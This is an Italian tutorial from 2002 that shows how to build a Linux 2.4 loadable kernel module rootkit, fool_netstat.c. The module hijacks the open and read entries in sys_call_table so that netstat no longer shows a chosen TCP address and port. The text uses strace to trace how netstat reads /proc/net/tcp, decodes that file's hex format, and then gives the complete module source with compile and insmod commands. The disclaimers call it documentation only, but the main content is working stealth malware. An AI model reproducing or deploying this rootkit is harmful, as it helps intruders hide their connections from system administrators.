Come costruire un mini−rootkit I − Nascondiamoci da Netstat

Pubblicato da ***blAAd!*** il 07/01/2002

Livello ***avanzato***

Introduzione

Vediamo come costruire un semplice rootkit, tramite un tipico hijack della syscall_table[], col fine di nascondere un eventuale indirizzo o porta per connessione TCP, a "netstat". E' richiesta un poco di conoscenza del C, e un minimo di conoscenza dei moduli kernel (trovate molte informazioni su PacketStorm, sul sito dei THC, dei Soft Project ecc. o su 'zines come Phrack o #BFi). Ho utilizzato una Mandrake 8.1 con kernel 2.4.8mdk26, ma visto lo standard "tecnico" impiegato, tutto potrebbe risultare funzionale anche su altre versioni del kernel.
NON MI ASSUMO EVENTUALI RESPONSABILITA' SULL'USO DI QUANTO RIPORTATO SU QUESTO TUTORIAL, NE AD EVENTUALI DANNI RIPORTATI SUI PROPRI O SU ALTRI SISTEMI.

Programmi usati

- ***gcc***: compilatore Gnu C/C++
- ***netstat***: monitor di connessioni network
- ***strace***: tracer per system_calls e signals

Iniziamo

Il nostro programma target e' come detto "netstat". Utilizzando il comando:

```
netstat −an | egrep tcp
```

avremo un risultato del tipo:

```
tcp    0  0 0.0.0.0:1024        0.0.0.0:*           LISTEN
tcp    0  0 127.0.0.1:1025      0.0.0.0:*           LISTEN
tcp    0  0 0.0.0.0:111         0.0.0.0:*           LISTEN
tcp    0  0 0.0.0.0:6000        0.0.0.0:*           LISTEN
tcp    0  0 0.0.0.0:80          0.0.0.0:*           LISTEN
```

La domanda che dobbiamo porci per raggiungere il nostro scopo, e' cosa netstat va' ad "utilizzare" per ottenere le informazioni riportate sopra (questo vale anche per altri comandi come who, ls, ecc). Per far cio' lanciamo sempre da shell il comando:

```
strace netstat −an
```

Ed evidenziamo la parte che ci serve:

```
.
.
open("/proc/net/tcp", O_RDONLY)         = 3
fstat64(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, \
 −1, 0) = 0x40191000
read(3, "  sl  local_address rem_address "..., 4096) = 900
write(1, "tcp    0   0 0.0.0.0:1024"..., 81tcp    0  0 0.0.0.0:1024   \
   0.0.0.0:* LISTEN) = 81
write(1, "tcp    0   0 127.0.0.1:10"..., 81tcp    0  0 127.0.0.1:1025 \
   0.0.0.0:* LISTEN) = 81
write(1, "tcp    0   0 0.0.0.0:111 "..., 81tcp    0  0 0.0.0.0:111    \
   0.0.0.0:* LISTEN) = 81
write(1, "tcp    0   0 0.0.0.0:6000"..., 81tcp    0  0 0.0.0.0:6000   \
   0.0.0.0:* LISTEN) = 81
write(1, "tcp    0   0 0.0.0.0:80  "..., 81tcp    0  0 0.0.0.0:80     \
   0.0.0.0:* LISTEN) = 81
read(3, "", 4096)                       = 0
close(3)
.
.
```

Bingo! nestat non fa' altro che aprire e leggere i contenuti del file "/proc/net/tcp" e riportare cosi' le informazioni ottenute. Diamo allora uno sguardo al file indicato:

```
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid  timeout inode

0: 00000000:0400 00000000:0000 0A 00000000:00000000 00:00000000 00000000 \
 29 0 12625 1 c6ca25c0 300 0 0 2 -1
1: 0100007F:0401 00000000:0000 0A 00000000:00000000 00:00000000 00000000 \
  0 0 12717 1 c6f165e0 300 0 0 2 -1
2: 00000000:006F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 \
  0 0 12552 1 c78010a0 300 0 0 2 -1
3: 00000000:1770 00000000:0000 0A 00000000:00000000 00:00000000 00000000 \
  0 0 15450 1 c6982a40 300 0 0 2 -1
4: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 \
 0 0 13008 1 c1354560 300 0 0 2 -1
```

La prima riga ci chiarisce subito il significato dei vari valori riportati, che sono sonstanzialmente i local e remote address di connessione, con relative porte, lo stato di esse ecc. Mettiamo di voler nascondere l'indirizzo_locale:porta "127.0.0.1:1025". Guardando al file sopra pero' non troviamo nulla apparentemente, che ci indichi la riga da "nascondere". In realta' gli indirizzi riportati nel file, vengono convertiti nella seguente maniera: Ad esempio per l'indirizzo 127.0.0.1 dobbiamo prima tradurre il singolo byte (IPV4) nella forma hex, e quindi 7F.00.00.01 e poi rovesciare l'ordine -> 01.00.00.7F -> 0100007F. La porta invece e' riportata direttamente in hex, quindi ad esempio la porta 1025 sara' 0401, ed in definitiva 0100007F:0401 rappresentera' l'indirizzo_locale:porta 127.0.0.1:1025 nel file /proc/net/tcp.
Visto questo, torniamo all'estratto del comando "strace netstat -an". Lo scopo del nostro rootkit e' far si' che il "netstat" non veda la riga a cui appartiene "0100007F:0401", cioe' impedirgli di "leggerla", ma per leggerla viene utilizzata la syscall read(...) preceduta da open(...), quindi queste due funzioni rappresenteranno le syscall da "dirottare" verso delle versioni che costruiremo ad hoc.
L'hijack delle syscalls avviene generalmente in fase di "init" del modulo. Nel nostro caso:

```
.
.
old_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=new_open;
old_read=sys_call_table[SYS_read];
sys_call_table[SYS_read]=new_read;
.
.
```

Come e' facile intuire, viene salvato il "vecchio" indirizzo di read(...) ed open(...) prelevato dalla sys_call_table[], e sostituito con i nuovi indirizzi delle nostre funzioni.
Nella nostra funzione open, che chiameremo fantasiosamente new_open(...), non facciamo altro che controllare che il file da aprire sia "/proc/net/tcp". In caso affermativo settiamo la variabile ACTIVA ad 1. In ogni caso, si concludera' sempre richiamando la "vecchia" funzione open(...).

```
.
.
if (strstr (filename,"/proc/net/tcp")) ACTIVA = 1;
r=old_open(filename,flags,mode);
.
.
```

La funzione read(...) invece e' un po' piu' complessa. In questa dovremo accertarci che il processo che la richiede sia "netstat", ed in caso affermativo, copiare il contenuto della memoria nello spazio "utente", verso quella del kernel opportunamente allocata.

```
.
.
r=old_read(fd,buf,count);
if(r<0)return r;
if ((strcmp(current->comm, "netstat")!=0) || (ACTIVA==0) )
return r;
if(r>20000) return r;
kbuf=(char*)kmalloc(r+1,GFP_KERNEL);
kbuf2=(char*)kmalloc(r+1,GFP_KERNEL);
memset(kbuf,0,r+1);
memset(kbuf2,0,r+1);
if((kbuf==NULL)||(kbuf2==NULL))return r;
copy_from_user(kbuf,buf,r);
.
.
```

Sopra non facciamo altro che accertarci tramite "current->comm", che il processo chiamante sia "netstat" e quindi che il file aperto sia stato in precedenza "/proc/net/tcp" (ricordo che netstat monitora anche il file /proc/net/udp ecc). Fatto cio' richiediamo 2

aree di memoria di dimensione pari a quella ritornata dalla originale funzione read(...), e copiamo il buffer letto nella zona "utente", nella nostra area kernel, tramite la funzione "copy_from_user(...)".
Ora non resta da far altro che controllare la singola riga del file "/proc/net/tcp", e "scartare" quella che contiene il nostro indirizzo:porta. Le funzioni usate sono quelle classiche del C per le stringhe (strncpy, strcat), e delle funzioni kernel come kmalloc e kfree, simili a quelle classiche malloc e free. Al termine, il tutto viene restituito allo spazio utente tramite la funzione copy_to_user(...).
Ovviamente un rootkit completo ha molte altre "opzioni". Nascondere files, directory, eseguire task con permessi di root, ecc. Tra le tecniche piu' famose per costruirli, c'e' quella appena vista del dirottamento delle chiamate di sistema. Queste pero' sono spesso rintracciabili con dei programmi come KSTAT. E' possibile pero' nascondere i nostri "hack" ma di questo ne parleremo eventualmente in un altro tutorial;) Ecco il sorgente completo del programma − fool_netstat.c − :

```
/*
 * fool_netstat.c by blAAd! 07/01/2002
 *
 * cc −c fool_netstat.c
 * insmod fool_netstat.o
 * netstat −an | egrep tcp
 *
 * Semplice LKM per nascondere una porta o indirizzo o indirizzo:porta a netstat
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>

#include <sys/syscall.h>
#include <asm/types.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/malloc.h>

#define ADDRESS_TO_HIDE "0100007F:0401"

extern void* sys_call_table[];
int errno;
int (*old_read)(unsigned int,char *,unsigned int);
int (*old_open)(const char *,int,int);

int ACTIVA = 0;

int new_open(const char *filename,int flags,int mode){
int r;

if (strstr (filename,"/proc/net/tcp")) ACTIVA = 1;
r=old_open(filename,flags,mode);
return r;
}

int new_read(unsigned int fd,char *buf,unsigned int count){
char *kbuf,*kbuf2,*tmp;
int tot,tot2,r,km;

r=old_read(fd,buf,count);
if(r<0)return r;
if ((strcmp(current−>comm, "netstat")!=0) || (ACTIVA==0) )
return r;
if(r>20000) return r;
kbuf=(char*)kmalloc(r+1,GFP_KERNEL);
kbuf2=(char*)kmalloc(r+1,GFP_KERNEL);
memset(kbuf,0,r+1);
memset(kbuf2,0,r+1);
if((kbuf==NULL)||(kbuf2==NULL))return r;
copy_from_user(kbuf,buf,r);

tot=0;
tot2=0;

do {
km=0;
```

```
do { km++; } while ((*((char*)(kbuf+tot+km-1))!='\n'));
tmp=(char*)kmalloc(km+2,GFP_KERNEL);
memset(tmp,0,km+2);
strncpy(tmp,kbuf+tot,km);
if (!strstr(tmp,ADDRESS_TO_HIDE)) { strcat (kbuf2,tmp); tot2+=km; };
kfree(tmp);
tot+=km;
  } while(tot<r);

copy_to_user(buf,kbuf2,tot2);
kfree(kbuf);
kfree(kbuf2);
ACTIVA=0;
return tot2;
}

int init_module(void){
int t;

old_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=new_open;
old_read=sys_call_table[SYS_read];
sys_call_table[SYS_read]=new_read;
return 0;
}

void cleanup_module(void){
sys_call_table[SYS_read]=old_read;
sys_call_table[SYS_open]=old_open;
}
```

Conclusioni

Ciao a tutta la ML-Racl e a chi non usa Windows;)

Attenzione

Questo tutorial e' a solo scopo documentativo. Nessuno e' responsabile di eventuali abusi di quanto sopra riportato.